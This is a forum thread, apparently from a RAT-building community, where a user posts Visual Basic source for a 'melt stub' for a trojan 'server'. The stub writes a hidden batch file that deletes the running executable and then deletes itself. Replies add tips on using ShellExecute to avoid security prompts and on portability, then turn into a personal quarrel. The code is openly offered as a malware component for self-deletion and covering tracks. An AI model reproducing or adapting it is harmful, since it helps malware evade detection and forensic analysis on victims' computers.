+ Reply to Thread
Page 1 of 2 12 LastLast
Results 1 to 10 of 12

Thread: Melt Stub

  1. #1
    Senior Member cool_mofo_2's Avatar
    Join Date
    May 2005
    Posts
    129

    Melt Stub

    Now that the flame war is over, lol I thought I would contribute a snippet or two.

    I have noticed that there are a few examples of melt stub around so I thought I would show your VB coders our version.

    Code:
    '''''''''''''''''''''''''''''''''''''''''''''''''''''''
    '''ESAMPLE ON HOW TO MELT YOUR SERVER Written by     '''
    '''              Cool_mofo_2                         '''
    '''  This source will attempt to show you how to     '''
    '''add a melt function into your vb server project   '''
    '''Splinter Of SplinterSecurity.com showed me how    '''
    '''to do this and it took me a while to grasp        '''
    ''' because of some simple stuff I did wrong so I    '''
    '''decided I would make a source example so that it  '''
    '''might help some of you not make the same mistakes '''
    '''as allways thanks to Splinter for being my source '''
    '''for professional code help when I neede it        '''
    '''                                                  '''
    '''this tutorial was written for the members of      '''
    '''www.ssgroup.org and is the sole property of       '''
    '''www.ssgroup.org otherwise know as Splintersecurity.com'''
    '''                                                  '''
    '''If you use the code dont be a dick give a lil     '''
    '''credit to SplinterSecurity                        '''
    ''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    
    
    ''first thing is to get your build server made, i used Trips example to get a feel for it. In his example
    ''you use text boxes to pass the data to your server so we are gonna pretent that we are using
    ''textboxes to pass the data here  we are assuming that the builder has some code like if check1.value = vbchecked
    ''then text1.text = 1 else text1.text =""  that means that if they check the melt fucction in the builder
    ''then it will put a 1 in the text1.text field and if its unchecked it will leave the data field empty
    
    Private Sub Command1_Click()
    ''if this was an actual server this would be
    'if text1.text =1 then.....instead of this if check.value = vbchecked then....
    If Check1.Value = vbChecked Then ''if the melt box is checked then do a function
    
    ''this next part is actaully written by Splinter
    '' it creats a batch file that will delete this porgram and then delete itself
    ''then it shells to the bat and ends
    
    
    MsgBox "Melting!", vbCritical ''a message to let you know its working take this out in your actaul server
    On Error Resume Next ''if a error occurs then skip and continue
    
    Kill "c:\windows\tempp.bat" 'Just in case it already exists, lets get rid of it.
    Open "c:\windows\Tempp.bat" For Append As #1 'Makes the new file
        Print #1, "@ECHO OFF" 'So DOS dont start displaying all the stuff
        Print #1, ":M" 'A new function called M
        Print #1, "del " & App.Path & "\" & App.EXEName & ".exe" ' This function deletes the file c:\test.exe
        Print #1, "IF EXIST " & App.Path & "\" & App.EXEName & ".exe" & " GOTO M" ' if the file still exists, try again
        Print #1, "del c:\windows\Tempp.bat" 'Delete itself (Clean up)
    Close #1 'CLoses the file - no longer editing it
    
    Shell "c:\windows\tempp.bat", vbHide:  End: 'Run the batch script hidden , and quit
    Else: MsgBox "check the Melt Server Box And Hit Test Melt To See The Exe Melt!" '''give this message if the check
                                                                                      ''box was not checked
                                                                      
                                                                                  
    End If
    End Sub
    
    
    ''and thats it!  pretty easy huh?  One thing if you are using form unload in your app then
    ''be sure to add a dovents statement
    ''compile this code then execute the program and hit the test button to see
    ''it end itself and then melt  Compile this project as test.exe
    '' and run it to see the melt fuction in action!
    ''I hoped this helped ya out a little bit
    ''Stay tuned to www.SplinterSecurity.com for more examples and programming help!
    
    
    Private Sub Form_Load()
    MsgBox "This is an example Of How To Make Your server Melt"
    End Sub

  2. #2
    Senior Member WEZ_2511's Avatar
    Join Date
    Aug 2005
    Posts
    1,459
    Please give credit to trip, also note that there are already to melt methods around on osc, cant remember what language but thanks for the contribute sterlin

    ''first thing is to get your build server made, i used Trips example to get a feel for it. In his example
    ''you use text boxes to pass the data to your server so we are gonna pretent that we are using
    ''textboxes to pass the data here we are assuming that the builder has some code like if check1.value = vbchecked
    ''then text1.text = 1 else text1.text ="" that means that if they check the melt fucction in the builder
    ''then it will put a 1 in the text1.text field and if its unchecked it will leave the data field empty
    also you could use shellexecute instead of shell becuase shell some times brings up the annoying sp1 message "do use wish to run application x" blah blah blah..

    Code:
    'declaration of api
    
    Private Declare Function ShellExecute Lib "shell32.dll" _
       Alias "ShellExecuteA" _
      (ByVal hwnd As Long, _
       ByVal lpOperation As String, _
       ByVal lpFile As String, _
       ByVal lpParameters As String, _
       ByVal lpDirectory As String, _
       ByVal nShowCmd As Long) As Long
    Code:
    ShellExecute(Me.hwnd, "open", _
    "http://www.sys-overload.com", , "C:\", SW_SHOWNORMAL)
    End Sub

  3. #3
    Senior Member cool_mofo_2's Avatar
    Join Date
    May 2005
    Posts
    129
    Quote Originally Posted by WEZ_2511
    Please give credit to trip, also note that there are already to melt methods around on osc, cant remember what language but thanks for the contribute sterlin



    also you could use shellexecute instead of shell becuase shell some times brings up the annoying sp1 message "do use wish to run application x" blah blah blah..

    Code:
    'declaration of api
    
    Private Declare Function ShellExecute Lib "shell32.dll" _
       Alias "ShellExecuteA" _
      (ByVal hwnd As Long, _
       ByVal lpOperation As String, _
       ByVal lpFile As String, _
       ByVal lpParameters As String, _
       ByVal lpDirectory As String, _
       ByVal nShowCmd As Long) As Long
    Code:
    ShellExecute(Me.hwnd, "open", _
    "http://www.sys-overload.com", "", "C:\", SW_SHOWNORMAL)
    End Sub
    Firstly Trip is mentioned Wesley, but as this is not the server builder example theres no need to "credit" him for a MELT STUB example, that he didn't write, now is there? So why would I give credit to Trip?? Secondly its an example, so I'm not going to spoon feed you, this is in fact, for learning, not so you can rip, copy and paste.

    Since you have given incorrect information (google copy and paste) and your code does not work, I might as well give you an example of how to do it, so the beginers dont get confused roflmao And if you are going to address me with my Name, please at least spell it right.
    Declaration
    Code:
    Private Declare Function ShellExecute Lib "shell32.dll" _
       Alias "ShellExecuteA" _
      (ByVal hwnd As Long, _
       ByVal lpOperation As String, _
       ByVal lpFile As String, _
       ByVal lpParameters As String, _
       ByVal lpDirectory As String, _
       ByVal nShowCmd As Long) As Long
    code
    Code:
    Private Sub Command1_Click()
    
    ShellExecute 0&, vbNullString, "http://ssgroup.org", vbNullString, vbNullString, vbNormalFocus
    
    End Sub
    this will open ssgroup.org in the default browser on the machine it is executed on. You may also change the web address to a filename such as "c:\windows\tempp.bat" for the example above. One more tip, its always a good idea to use the GetWindowsDirectory api so that your melt will be compatible still with machines that dont have windows installed to the c:
    hope this helps

    thanks for your suggestions Wesley, but please in the future refrain from trying to correct my code, as incorrect code, might confuse and frustrate a new coder :p

  4. #4
    Senior Member WEZ_2511's Avatar
    Join Date
    Aug 2005
    Posts
    1,459
    for a fact it is not incorrect code, u do not have to write vbnilstring u can leave it blank test it before replying, and you are not alway right

  5. #5
    Senior Member cool_mofo_2's Avatar
    Join Date
    May 2005
    Posts
    129
    for a fact that is incorrect code your syntax is in fact not correct and for a fact will not execute, I have tested it, maybe you should yourself, put your shellexecute in a command button and tell me if it works? No it wont, true you dont have to use vbnullstring but its easier( for me ) to keep up with the params. I may not always be right, but I am in this case Now please quit trying to argue with me ok?? the flame thread is over, we dont need to start another one

  6. #6
    OD_
    Guest
    Ok cool_mofo_2 enough ok your a really trying to start a flame war again the little smart comments you are putting ENOUGH.

  7. #7
    Senior Member cool_mofo_2's Avatar
    Join Date
    May 2005
    Posts
    129
    me?? are you on crack?? I was posting a snippet to contribute and along came wez to imply that I ripped this from Trip, and tried unsuccessfully to corect my code wtf?

    pay attention gawd dammit

    You Have Been Weighed, You Have Been Measured, And You Have Been Found Wanting.

  8. #8
    Senior Member WEZ_2511's Avatar
    Join Date
    Aug 2005
    Posts
    1,459
    mofo, i was suggestin u could do it another way instead of using shell, and it would be good to give credit to trip for using his / talkin about his server builder i didnt saw u ripped it i just sed u cud give a lil credit to trip since ur encouraging people to using his example, please do not flame we dont want another war

  9. #9
    Senior Member cool_mofo_2's Avatar
    Join Date
    May 2005
    Posts
    129
    And I thanked you for your suggestion, but considering the flame war that we just had, I felt that you were trying to insinuate that I ripped it, and just by talking about someones example does not mean you need to credit them in your example that they have not participated in the writing. if that was the case I suppose I need to credit microsft as well because we talk about using vb for it. See how stupid (no offence) that sounds?? So thats why I felt you were trying to say "give" Trip credit, you were so excited that you thought I didnt credit someone that you hade to post that. thats just silly. But I'm not trying to start another flame war just seems that you are following my posts and try to post right behind me, seemed to me that you were trying to correct my EXAMPLE thats supposed to be simple and people learn and expand upon, and then the code you cited was wrong. if you are so interested in not starting another flame war, why are you following my posts? Now this is getting stupid leave me alone Wez, ok? got it? Please dont respond here and junk up this example post ok? thanks pm me instead so this thread remains small

    You Have Been Weighed, You Have Been Measured, And You Have Been Found Wanting.

  10. #10
    Senior Member
    Join Date
    Mar 2005
    Posts
    421
    my delphi unit is uploaded since way back... might help

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. How to melt
    By ratws in forum Snippets
    Replies: 4
    Last Post: 18-09-2009, 19:55
  2. Melt Server
    By ratws in forum General Programming Help
    Replies: 3
    Last Post: 21-06-2007, 04:16
  3. Binder Stub
    By -silent- in forum ASM Sources
    Replies: 0
    Last Post: 11-02-2006, 17:22
  4. Stub maker
    By ratws in forum Snippets
    Replies: 0
    Last Post: 09-10-2005, 01:29
  5. How to melt V.2 Lttcoder
    By ratws in forum General Programming Help
    Replies: 3
    Last Post: 07-05-2005, 23:46

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.